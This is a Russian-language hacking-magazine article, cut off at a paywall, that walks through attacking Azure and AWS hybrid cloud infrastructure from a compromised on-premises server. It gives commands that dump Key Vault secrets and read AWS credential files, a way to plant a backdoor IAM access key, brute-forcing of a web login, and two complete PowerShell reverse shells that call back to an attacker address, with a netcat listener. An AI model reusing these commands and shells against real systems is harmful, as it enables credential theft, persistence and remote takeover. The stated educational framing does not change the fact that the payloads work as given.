Перенос IT-инфраструктуры в облака — это не дань моде: такой подход позволяет экономить на технической поддержке, резервном копировании и администрировании. К тому же размещение инфраструктуры в облаке считается более защищенным и от сбоев, и от внешних атак. Но есть и эффективные методы взлома наиболее популярных гибридно-облачных сред, таких как Azure и AWS. Об этих техниках и атаках я расскажу дальше.

WARNING

Описания техник и атак в этой статье приведены исключительно в образовательных целях. Автор и редакция не несут ответственности за возможные последствия использования информации из этой статьи.

Для наглядности давай представим пример атакуемой инфраструктуры в виде следующей диаграммы.

Пример гибридно-облачной инфраструктуры
Пример гибридно-облачной инфраструктуры

Как видно из диаграммы, организация использует серверы и сервисы разных облачных провайдеров, а также имеет ряд серверов on-premises. Серверы и сервисы взаимодействуют между собой, так как это необходимо для полноценной работоспособности бизнеса. Предположим, что злоумышленник получил удаленный доступ к скомпрометированному серверу on-premises. Вот несколько возможных сценариев дальнейшего развития атаки.

 

Внутренняя разведка на использование облачных сервисов

Имея доступ к линукс-серверу on-premises, желательно оставаться незамеченным как можно дольше. С этой целью можно использовать сервисы, действия и запросы которых рассматриваются в системе как разрешенные. На такую роль как нельзя лучше подходят прикладные утилиты для удаленной работы с облачной инфраструктурой.

Также стоит обратить внимание на любые другие следы того, что сервер взаимодействует с облаками. К примеру, можно проанализировать command history, запущенные процессы, установленные пакеты и прочее.

 

Сбор данных с помощью утилиты Az

Azure CLI — это набор команд для создания ресурсов Azure и управления ими. Azure CLI доступен в различных службах Azure и предназначен для быстрой работы с ними. Для входа в профиль Azure по умолчанию используется команда az login.

Вход в профиль Azure с помощью команды az login
Вход в профиль Azure с помощью команды az login

Как оказалось, в нашем случае линукс-сервер имеет доступ к инфраструктуре Azure. Какую полезную информацию из этого можно извлечь? Для начала с помощью команды az account list получим перечень подписок авторизированного пользователя.

Получение перечня подписок
Получение перечня подписок

C помощью директивы az account show --query "id" можно получить ID учетной записи. А команда

az resource list --query "[?type=='Microsoft.KeyVault/vaults']"

позволяет узнать данные о Key Vault. Key Vault — это служба, которая помогает хранить ключи в аппаратных модулях безопасности (HSM), зашифровывая ключи и небольшие секретные данные, например пароли. Очевидно, что Key Vault должен быть правильно настроен, иначе может произойти нечто подобное тому, что показано на скриншоте ниже.

Вот почему важно правильно настроить Key Vault
Вот почему важно правильно настроить Key Vault

А вот еще несколько команд, позволяющих выудить из Azure нужные взломщику сведения:

  • az resource show --id /subscriptions/… | grep -E enablePurgeProtection|enableSoftDelete — проверить, можно ли восстановить Key Vault;
  • az keyvault secret list --vault-name name --query [*].[{"name":attributes.name},{"enabled":attributes.enabled},{"expires":attributes.expires}] — проверить, когда секретный ключ Key Vault истекает;
  • az keyvault secret list --vault-name KeyVaultdatasecure --query '[].id' — получить URL для Key Vault;
  • az keyvault secret show --id — получить данные, хранящиеся в Key Vault;
  • az network nsg list --query [*].[name,securityRules] — получить данные о политике безопасности для сети Azure.
Результат работы команды az keyvault secret show --id
Результат работы команды az keyvault secret show --id

С помощью приведенных выше команд можно увидеть детали настроек политик безопасности для сети, к примеру название политики, группы, конфигурации. Обрати внимание на теги access, destinationPortRange, protocol и direction. Они показывают, что на сервере разрешены внешние подключения. Установка удаленного доступа к C&C значительно облегчает задачу атакующему и повышает шансы остаться незамеченным.

По ряду признаков можно определить, что на сервере разрешены подключения извне
По ряду признаков можно определить, что на сервере разрешены подключения извне
 

Сбор данных с помощью утилиты AWS

AWS CLI — это единый инструмент для управления сервисами AWS. Загружаешь всего одно средство — и можешь контролировать множество сервисов AWS из командной строки и автоматизировать их с помощью скриптов.

Если утилита AWS установлена на скомпрометированной машине, можно проверить, сконфигурирован ли AWS-профиль. Конфигурационные данные к AWS на компьютерах под управлением Linux хранятся в файле ~/.aws/credentials, а в Windows — в C:\Users\USERNAME\.aws\credentials. Этот файл может содержать данные к учетной записи AWS (access key ID, secret access key и session token). Полученную таким образом учетную запить можно использовать для удаленного доступа в будущем.

Извлечение данных о конфигурации AWS CLI
Извлечение данных о конфигурации AWS CLI

С помощью следующих команд AWS CLI мы получим важную информацию о развернутой в сети облачной инфраструктуре:

  • aws sts get-caller-identity — получить данные об используемой учетной записи;
  • aws iam list-users — перечислить всех IAM-пользователей;
  • aws s3 ls — перечислить все доступные AWS S3;
  • aws lambda list --functions — перечислить все lambda-функции;
  • aws lambda get-function --function-name [function_name] — собрать дополнительную информацию по lambda-переменным, локации и так далее;
  • aws ec2 describe-instances — перечислить все доступные виртуальные машины;
  • aws deploy list-applications — перечислить все доступные веб-сервисы;
  • aws rds describe-db-instances — показать все доступные базы данных RDS.
С помощью одной команды мы можем получить данные о доступных RDS-базах
С помощью одной команды мы можем получить данные о доступных RDS-базах

Существуют и другие методы сбора информации на скомпрометированной системе. К примеру, можно воспользоваться командой history и посмотреть, какие команды выполнялись за последнее время на этой машине.

 

Расширение прав и горизонтальное перемещение

 

AWS

Чтобы закрепиться в системе, можно создать учетную запись с секретными ключами и именем iamadmin, которая будет выполнять функцию бэкдора для атакующего. Для этого воспользуемся командой

aws iam create-access-key --user-name iamadmin
Создаем учетную запись для закрепления в системе
Создаем учетную запись для закрепления в системе

С помощью команд SSH можно подключиться к удаленному AWS bucket.

Подключение к AWS bucket с использованием SSH
Подключение к AWS bucket с использованием SSH

Получается, что боковыми движениями мы заполучили доступ к инфраструктуре AWS. При эксплуатации SSH желательно всегда проверять следующие директории и файлы:

  • .ssh/authorized_keys — содержит подпись публичных ключей для любых авторизованных клиентов;
  • .ssh/id_rsa — содержит приватные ключи для клиентов;
  • .ssh/id_rsa.pub — содержит публичные ключи для клиента;
  • .ssh/known_hosts — содержит список подписей хостов.
 

Azure

Итак, нам удалось найти данные для учетных записей и собрать достаточно информации, чтобы понять, что в инфраструктуре Azure присутствует несколько виртуальных машин и сервисов. Виртуальные машины в Azure очень похожи на обычные машины, которые работают в виртуальной среде, и потому поддерживают стандартный набор команд. Запустим Nmap на одной из виртуальных машин AWS.

nmap -sS -sV -v -Pn -p- <IP-адрес>
Запускаем Nmap на виртуальной машине
Запускаем Nmap на виртуальной машине

Видно, что на удаленной виртуальной машине работает Apache на 80-м порте. Как правило, настройки доступа в среде Azure устанавливаются с помощью правил Azure network group. Так что нужно быть внимательным и не забывать менять тестовые настройки. Как оказалось, мы имеем дело с веб-приложением для тестирования статуса машин в облаке. Не буду углубляться в подробности тестирования веб-приложения, а просто приведу пример, как уязвимость в веб-приложении может предоставить доступ к удаленной виртуальной машине в Azure.

Для перебора учетных данных использовался DirBuster, который привел меня на страницу с формой логина администратора. Выяснилось, что приложение уязвимо к перечислению пользователей и брутфорсу пароля. Сбрутить пароль можно с использованием Burp Suite.

Форма логина администратора веб-приложения
Форма логина администратора веб-приложения

Приложение оказалось уязвимым к запуску команды на удаленном компьютере.

Запуск команды на удаленном компьютере
Запуск команды на удаленном компьютере

Видно, что это машина под управлением Windows, на которой можно попробовать взять шелл. Для начала нужно запустить слушателя на машине атакующего. В качестве примера будет использован netcat: выполним команду nc -lvp 9090, которая запускает слушателя на порте 9090 и переводит его в режим ожидания удаленного TCP-соединения.

Можно использовать приведенный ниже PowerShell reverse shell либо загрузить на машину свой собственный шелл, так как этот может быть обнаружен антивирусами и EDP-системами. Вот два примера шелла PowerShell, которые можно использовать на удаленной машине.

Первый шелл

powershell 127.0.0.1&powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP,9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Второй шелл

$client = New-Object System.Net.Sockets.TCPClient("IP",9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Как только мы получим шелл, можно приступить к постэксплуатации и дальнейшим горизонтальным перемещениям.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии